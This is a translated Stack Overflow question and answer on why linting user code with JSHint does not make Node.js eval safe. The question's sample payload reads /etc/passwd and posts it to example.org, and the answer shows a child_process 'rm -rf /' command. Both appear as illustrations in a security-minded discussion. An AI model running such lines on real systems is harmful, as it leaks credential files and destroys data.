如果在eval之前使用(例如)jshint检查代码,javascript eval仍然很危险吗?

时间:2015-08-22 19:41:54

标签: javascript node.js eval jshint javascript-injection

想象一下,例如(授权)用户可以将自定义格式化程序提交给nodejs服务器,该服务器会有类似这样的代码。

var JSHINT = require('jshint').JSHINT;

function formatterFactory(code) {
   // we could pass more options to jshint...
   JSHINT(code, {undef:true},['input','output']);
   if (JSHINT.data().errors) {
      // throw error...
      console.dir(JSHINT.errors);
      throw new Error(JSHINT.data().errors[0].reason);
   }
   // otherwhise eval
   return function(input) {
     var output;
     eval(code);
     return output;
   }
}

var userNastyCode = '                   \
  var http = require("http");           \
  var fs = require("fs");               \
  http.request({                        \
    method: "POST",                     \
    host: "example.org",                \
    path: "/muahaha"                    \
  }, function(res) {                    \
    res.resume();                       \
  }).end(fs.readFileSync("/etc/passwd"));';

var userFormatter = formatterFactory(userNastyCode);

userFormatter('some thing');

// throws error 'require' is not defined.

1 个答案:

答案 0 :(得分:3)

用户提供的文字永远不会对eval安全,或者至少应该被认为是永远不安全的,因为您可以用来证明安全的努力量远远超过了以不同的方式完成您想要的工作量

JSHint着眼于代码语法和(可能有些主观的)质量测量,恶意代码完全能够满足这两个方面。例如,如果您允许我在您的服务器上运行它,这可能会造成很大的损害:

require('child_process').spawn('rm', ['-rf', '/']);

JSHint并没有抱怨它,如果你有自定义配置,我可以修改我的代码来传递,或者如评论中所提到的,只是包含我自己的配置,让JSHint平静下来。你应该记住的是,如果你让我交代你的代码,我可以做你能做的任何事情。它比让我直接编辑您的文件更难一点,但是没有真正的方法阻止我做你不想要的事情。

在这种特殊情况下,我会考虑几件事:

  • 您真的需要用户编写完全任意的格式化程序吗?也许你可以给他们一些已知的选项供他们选择。
  • 您知道要格式化的数据是什么(数字,日期等)吗?您可以安全地让他们选择一种任意格式来应用于数据类型,例如yyyy-mm-dd,而不必让他们选择自己的JS,并且有很多库可以将格式化字符串传递给。
  • 您可以在浏览器中运行他们的代码吗?他们已经可以在开发人员控制台中运行他们想要的任何JS,所以如果你可以设置它以便他们的格式化程序在类似的上下文中运行,你就不会打开任何漏洞。 (我从未尝试过这个;它仍然感觉有点冒险。)

无论您最终如何,我都会在您自己的代码中禁用JSHint evil选项:)